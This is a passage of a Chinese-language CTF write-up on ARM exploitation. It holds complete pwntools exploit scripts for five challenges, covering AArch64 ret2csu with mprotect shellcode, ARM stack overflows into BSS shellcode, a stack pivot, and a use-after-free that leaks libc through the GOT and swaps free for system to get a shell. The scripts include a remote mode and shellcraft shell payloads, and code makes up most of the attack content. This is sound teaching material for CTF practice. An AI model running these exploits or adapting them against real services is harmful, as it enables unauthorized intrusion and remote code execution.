from pwn import *
import sys
context.log_level='debug'
context.arch='aarch64'
Debug = False

shanghai2018_baby_arm=ELF('./shanghai2018_baby_arm', checksec = False)

libc=ELF("/usr/aarch64-linux-gnu/lib/libc.so.6", checksec = False)

def get_sh(other_libc = null):
    global libc
    if args['REMOTE']:
        if other_libc is not null:
            libc = ELF("./", checksec = False)
        return remote(sys.argv[1], sys.argv[2])
    elif Debug:
        sh = process(["qemu-aarch64", "-g", "2333", "-L", "/usr/aarch64-linux-gnu", "./shanghai2018_baby_arm"])
        log.info('Please use GDB remote!(Enter to continue)')
        raw_input()
        return sh
    else :
        return process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", "./shanghai2018_baby_arm"])

def get_address(sh,arch_num=null,info=null,start_string=null,end_string=null,int_mode=False):
    sh.recvuntil(start_string)
    if int_mode :
        return_address=int(sh.recvuntil(end_string).strip(end_string),16)
    elif arch_num == 64:
        return_address=u64(sh.recvuntil(end_string).strip(end_string).ljust(8,'x00'))
    else:
        return_address=u32(sh.recvuntil(end_string).strip(end_string).ljust(4,'x00'))
    log.success(info+str(hex(return_address)))
    return return_address

def get_flag(sh):
    sh.sendline('cat /flag')
    return sh.recvrepeat(0.3)

if __name__ == "__main__":
    sh = get_sh()
    shell_code = asm(shellcraft.sh())
    shell_code = shell_code.ljust(0x100,'x90')
    shell_code = shell_code + p64(shanghai2018_baby_arm.plt['mprotect'])
    padding  = 'A' * 0x40 + p64(0xdeadbeef)
    payload  = padding + p64(0x4008CC)       # X19 , X20
    payload += p64(0xdeadbeef)               # X29
    payload += p64(0x4008AC)                 # X30
    payload += p64(0) + p64(1)               # X19 , X20
    payload += p64(0x411068 + 0x100)         # X21
    payload += p64(0x7)                      # X22
    payload += p64(0x1000)                   # X23
    payload += p64(0x411000)                 # X24
    payload += p64(0xdeadbeef)               # X29
    payload += p64(0x411068)                 # X30
    payload += p64(0) * 0x6                  # X19 - X24
    sh.recvuntil('Name:')
    sh.sendline(shell_code)
    sh.sendline(payload)
    sh.interactive()
    flag=get_flag(sh)
    log.success('The flag is '+flag)

以inctf2018-warmup为例

程序分析

image-20200217150759398

程序为ARM-32-dynamically linked程序。

明显存在栈溢出漏洞。

image-20200217150904233

但是这次我们只能溢出0x10个字节,并且程序中看似没有什么好用的gadget。

image-20200217154915591

注意到程序中存在一个可以控制R3的gadget,并且可以利用main函数中的汇编语句完成任意地址写。

image-20200217155221450

那么我们可以向BSS段写入shellcode并执行。

Final Exploit

from pwn import *
import sys
context.log_level='debug'
context.arch='arm'

Deb =False

wARMup=ELF('./wARMup', checksec = False)

libc=ELF("/usr/arm-linux-gnueabi/lib/libc.so.6", checksec = False)

def get_sh(other_libc = null):
    global libc
    if args['REMOTE']:
        if other_libc is not null:
            libc = ELF("./", checksec = False)
        return remote(sys.argv[1], sys.argv[2])
    elif Deb:
        sh = process(["qemu-arm", "-g", "2333", "-L", "/usr/arm-linux-gnueabihf", "./wARMup"])
        log.info('Please use GDB remote!(Enter to continue)')
        raw_input()
        return sh
    else :
        return process(["qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "./wARMup"])

def get_address(sh,arch_num=null,info=null,start_string=null,end_string=null,int_mode=False):
    sh.recvuntil(start_string)
    if int_mode :
        return_address=int(sh.recvuntil(end_string).strip(end_string),16)
    elif arch_num == 64:
        return_address=u64(sh.recvuntil(end_string).strip(end_string).ljust(8,'x00'))
    else:
        return_address=u32(sh.recvuntil(end_string).strip(end_string).ljust(4,'x00'))
    log.success(info+str(hex(return_address)))
    return return_address

def get_flag(sh):
    sh.sendline('cat /flag')
    return sh.recvrepeat(0.3)

if __name__ == "__main__":
    shellcode = asm(shellcraft.sh())
    sh = get_sh()
    payload  = 'A' * 0x64 + p32(wARMup.bss() + 0x300) + p32(0x0010364) + p32(wARMup.bss() + 0x300) + p32(0x0010530)
    sh.recvuntil('Welcome to bi0s CTF!')
    sh.sendline(payload)
    sh.sendline(p32(wARMup.bss() + 0x304) + shellcode)
    sh.interactive()
    flag=get_flag(sh)
    log.success('The flag is '+flag)

以Stack_buffer_overflow_basic为例

程序分析

image-20200217195344701

程序为ARM-32-dynamically linked程序。

使用IDA分析发现程序逻辑并不是十分明了的。

image-20200217195501927

但是试运行后发现程序逻辑较为明确,可以发现我们可以向栈上写入数据,且数据的起始地址程序会告诉我们,于是可以很明确的构造ret2shellcode。

image-20200217195701522

Final Exploit

from pwn import *
import sys
context.log_level='debug'
context.arch='arm'

Stack_buffer_overflow_basic=ELF('./Stack_buffer_overflow_basic', checksec = False)

libc=ELF("/usr/arm-linux-gnueabihf/lib/libc.so.6", checksec = False)

def get_sh(other_libc = null):
    global libc
    if args['REMOTE']:
        if other_libc is not null:
            libc = ELF("./", checksec = False)
        return remote(sys.argv[1], sys.argv[2])
    elif False:
        sh = process(["qemu-arm", "-g", "2333", "-L", "/usr/arm-linux-gnueabihf", "./Stack_buffer_overflow_basic"])
        log.info('Please use GDB remote!(Enter to continue)')
        raw_input()
        return sh
    else :
        return process(["qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "./Stack_buffer_overflow_basic"])

def get_address(sh,arch_num=null,info=null,start_string=null,end_string=null,int_mode=False):
    sh.recvuntil(start_string)
    if int_mode :
        return_address=int(sh.recvuntil(end_string).strip(end_string),16)
    elif arch_num == 64:
        return_address=u64(sh.recvuntil(end_string).strip(end_string).ljust(8,'x00'))
    else:
        return_address=u32(sh.recvuntil(end_string).strip(end_string).ljust(4,'x00'))
    log.success(info+str(hex(return_address)))
    return return_address

def get_flag(sh):
    sh.sendline('cat /flag')
    return sh.recvrepeat(0.3)

if __name__ == "__main__":
    sh = get_sh()
    sh.recvuntil('Give me data to dump:')
    sh.sendline('A')
    shellcode_addr = get_address(sh,32,'We get shellcode address is ','0x',':',True)
    shellcode = asm(shellcraft.sh())
    payload = shellcode.ljust(0xA4,'x90') + p32(shellcode_addr)
    sh.recvuntil('Dump again (y/n):')
    sh.sendline('y')
    sh.recvuntil('Give me data to dump:')
    sh.sendline(payload)
    sh.recvuntil('Dump again (y/n):')
    sh.sendline('n')
    sh.interactive()
    flag=get_flag(sh)
    log.success('The flag is '+flag)

以Basic_ROP为例 —— 栈迁移实例

程序分析

image-20200217195929740

程序为ARM-32-dynamically linked程序。

image-20200217201430688

image-20200217201528344

此处明显存在栈溢出,因为a1的值没有限定长度,但是程序中没有合适的gadget可供利用,因此还是利用ret2csu来进行利用。

首先通过调试可以确定劫持返回地址的位置。(payload = 'x41' * 0x44 + 'BBBB')

image-20200218092934913

padding确定之后就开始寻找程序中可能存在的gadget

image-20200218100119580

发现只有控制R3的较为方便的指针,接下来发现main函数中可以利用R3寄存器间接控制R1寄存器实现任意地址写,以及间接控制R0寄存器。

image-20200218141903393

那么我们的思路就是利用栈迁移,将栈迁移到BSS段实现利用。

Final Exploit

from pwn import *
import sys
context.log_level='debug'
context.arch='arm'

Basic_ROP=ELF('./Basic_ROP', checksec = False)

libc=ELF("/usr/arm-linux-gnueabihf/lib/libc.so.6", checksec = False)

def get_sh(other_libc = null):
    global libc
    if args['REMOTE']:
        if other_libc is not null:
            libc = ELF("./", checksec = False)
        return remote(sys.argv[1], sys.argv[2])
    elif False:
        sh = process(["qemu-arm", "-g", "2333", "-L", "/usr/arm-linux-gnueabihf", "./Basic_ROP"])
        log.info('Please use GDB remote!(Enter to continue)')
        raw_input()
        return sh
    else :
        return process(["qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "./Basic_ROP"])

def get_address(sh,arch_num=null,info=null,start_string=null,end_string=null,int_mode=False):
    sh.recvuntil(start_string)
    if int_mode :
        return_address=int(sh.recvuntil(end_string).strip(end_string),16)
    elif arch_num == 64:
        return_address=u64(sh.recvuntil(end_string).strip(end_string).ljust(8,'x00'))
    else:
        return_address=u32(sh.recvuntil(end_string).strip(end_string).ljust(4,'x00'))
    log.success(info+str(hex(return_address)))
    return return_address

def get_flag(sh):
    sh.sendline('cat /flag')
    return sh.recvrepeat(0.3)

if __name__ == "__main__":
    sh = get_sh()
    payload  =  'x41' * 0x40 + p32(Basic_ROP.bss(0x500)) + p32(0x000103F8)      # Padding + return_addr
    payload +=  p32(Basic_ROP.bss() + 0x500 - 0x4 * 3)         # R3
    payload +=  p32(0x0001065C)                       # PC
    sh.recvuntil('Give me data to dump:')
    sh.sendline(payload)
    payload  =  '/bin/shx00'                   
    payload +=  p32(Basic_ROP.bss() + 0x500 + 0x120 - 0x4 * 4) # R11
    payload +=  p32(0x000103F8)                               # return_addr
    payload +=  p32(Basic_ROP.bss() + 0x500 - 0x10 + 0x4)     # R3
    payload +=  p32(0x0001062C)                            # PC
    payload +=  'x00' * 0x100
    payload +=  p32(0xDeadbeef)                            # R11
    payload +=  p32(0x00010574)                            # return_addr
    # payload +=  p32(Basic_ROP.plt['system'])                            # return_addr
    sh.sendline(payload)
    sh.interactive()
    flag=get_flag(sh)
    log.success('The flag is '+flag)

以Use_After_Free为例 —— 堆利用实例

程序分析

image-20200218203453227

程序为ARM-32-dynamically linked程序。

分析题目逻辑&探测漏洞点

首先使用IDA尝试分析,发现程序逻辑较为混乱,无法顺利的理清楚。

image-20200218204328385

探测UAF漏洞

那么我们首先尝试运行,

image-20200218204441358

发现是一个常见的表单题,除了常见的增删改查以外还提供了很多选项,但令我们很在意的是,程序在增删改查时,提供了alias作为索引!那么推测我们如果按index释放后是否没有把alias索引清空,经过测试,果然发现存在Use-After-Free漏洞!

image-20200218205026492

探测Double Free漏洞

接下来我们尝试触发double free漏洞

image-20200218205647487

验证存在!

分析数据结构

此处我们使用动态调试的方式,因为远程调试的原因导致我们的heap命令无法使用,于是我们在menu处下断,然后查看teams数组内的内容,就可以看到每个成员的情况。

image-20200218214756657

此处我们可以分析出,程序会直接申请一个大小为0x3C大小的Chunk用于存放name,并在name的最后四字节放上Description的chunk的data域指针,Description会根据我们的输入大小进行分配,然后程序会再分配一个大小为0x14的Chunk,分别存放name的chunk的data域指针,Alias。

这一点也可以在静态分析中得到佐证:

image-20200218215649442

Delete函数分析

image-20200218215856613

对delete函数静态分析后也可以佐证我们之前的探测。

Edit 函数分析——另一个free的机会!

image-20200218221803022

也就是说,如果我们更新的Description若更长,程序会free掉旧的,malloc一个更长的Chunk。

漏洞利用

那么我们其实可以很容易的分析出,若我们能控制name这个chunk的最后四字节,我们事实上拥有了一个任意地址读写的能力!

Final Exploit

from pwn import *
import sys
context.log_level='debug'
context.arch='arm'

Use_After_Free=ELF('./Use_After_Free', checksec = False)

libc=ELF("/usr/arm-linux-gnueabihf/lib/libc.so.6", checksec = False)

def get_sh(other_libc = null):
    global libc
    if args['REMOTE']:
        if other_libc is not null:
            libc = ELF("./libc-2.24.so", checksec = False)
        return remote(sys.argv[1], sys.argv[2])
    elif False:
        sh = process(["qemu-arm", "-g", "2333", "-L", "/usr/arm-linux-gnueabihf", "./Use_After_Free"])
        log.info('Please use GDB remote!(Enter to continue)')
        raw_input()
        return sh
    else :
        return process(["qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "./Use_After_Free"])

def get_address(sh,arch_num=null,info=null,start_string=null,end_string=null,int_mode=False):
    sh.recvuntil(start_string)
    if int_mode :
        return_address=int(sh.recvuntil(end_string).strip(end_string),16)
    elif arch_num == 64:
        return_address=u64(sh.recvuntil(end_string).strip(end_string).ljust(8,'x00'))
    else:
        return_address=u32(sh.recvuntil(end_string).strip(end_string).ljust(4,'x00'))
    log.success(info+str(hex(return_address)))
    return return_address

def get_flag(sh):
    sh.sendline('cat /flag')
    return sh.recvrepeat(0.3)

def creat(sh,Chunk_alias,Team,Desc):
    sh.recvuntil(': ')
    sh.sendline('add' + ' ' + Chunk_alias)
    sh.recvuntil('Team: ')
    sh.sendline(Team)
    sh.recvuntil('Desc: ')
    sh.sendline(Desc)

def delete(sh,index=null,Chunk_alias=null):
    sh.recvuntil(': ')
    if Chunk_alias != null:
        sh.sendline('del' + ' ' + Chunk_alias)
    else:
        sh.sendline('del')
        sh.recvuntil('Index: ')
        sh.sendline(str(index))

def show(sh,index=null,Chunk_alias=null):
    sh.recvuntil(': ')
    if Chunk_alias != null:
        sh.sendline('show' + ' ' + Chunk_alias)
    else:
        sh.sendline('show')
        sh.recvuntil('Index: ')
        sh.sendline(str(index))

def edit(sh,Team,Desc,Point,index=null,Chunk_alias=null):
    sh.recvuntil(': ')
    if Chunk_alias != null:
        sh.sendline('edit' + ' ' + Chunk_alias)
    else:
        sh.sendline('edit')
        sh.recvuntil('Index: ')
        sh.sendline(str(index))
        sh.recvuntil('Team: Team: ')
        sh.sendline(Team)
        sh.recvuntil('Desc: ')
        sh.sendline(Desc)
        sh.recvuntil('Points: ')
        sh.sendline(str(Point))

if __name__ == "__main__":
    sh = get_sh(True)
    creat(sh,'Chunk__0','Chunk__0','A' * (0x20 - 1))
    creat(sh,'Chunk__1','Chunk__1','A' * (0x20 - 1))
    creat(sh,'Chunk__2','Chunk__2','A' * (0x20 - 1))
    creat(sh,'Chunk__3','/bin/shx00','/bin/shx00')
    delete(sh,1)
    edit(sh,'Chunk__2','A' * 0x38 + p32(Use_After_Free.got['free']),2,2)
    show(sh,1,'Chunk__1')
    sh.recvuntil('  Desc:  ')
    libc_base = u32(sh.recv(4)) - libc.symbols['free']
    success('We get libc base address is ' + str(hex(libc_base)))
    sh.recvuntil(': ')
    sh.sendline('edit' + ' ' + 'Chunk__1')
    sh.recvuntil('Team: ')
    sh.sendline('Chunk__1')
    sh.recvuntil('Desc: ')
    sh.sendline(p32(libc_base + libc.symbols['system']) + p32(libc_base + libc.symbols['fgets']))
    sh.recvuntil('Points: ')
    sh.sendline(str(1))
    delete(sh,3)
    sh.interactive()
    flag=get_flag(sh)
    log.success('The flag is '+flag)

 

0x05 后记

可以看出,ARM架构下的pwn利用大多数还是利用了Intel32/AMD64架构下的利用思想,只要理解并掌握了ARM架构指令集的变化,利用还是相对容易的,此处的题目没有展示更深的利用技巧(例如:栈喷射、堆喷射、条件竞争等),这些技巧可能会在我的下一篇文章中给与展示,同时接下来我将会去尝试总结MIPS架构下的PWN利用技巧~

 

0x06 参考链接

arm64程序调用规则 – maniac_kk

如何 pwn 掉一个 arm 的binary – m4x

ARM汇编指令-STMFD和LDMFD – 行走的红茶

ARM汇编编程规则 – Arrow

ARMv8-AArch64寄存器和指令集

ARM栈溢出攻击实践:从虚拟环境搭建到ROP利用

Mac下安装qemu并模拟树莓派操作系统 – gogogogo彬

Rootme CTF UAF Writeup

(完)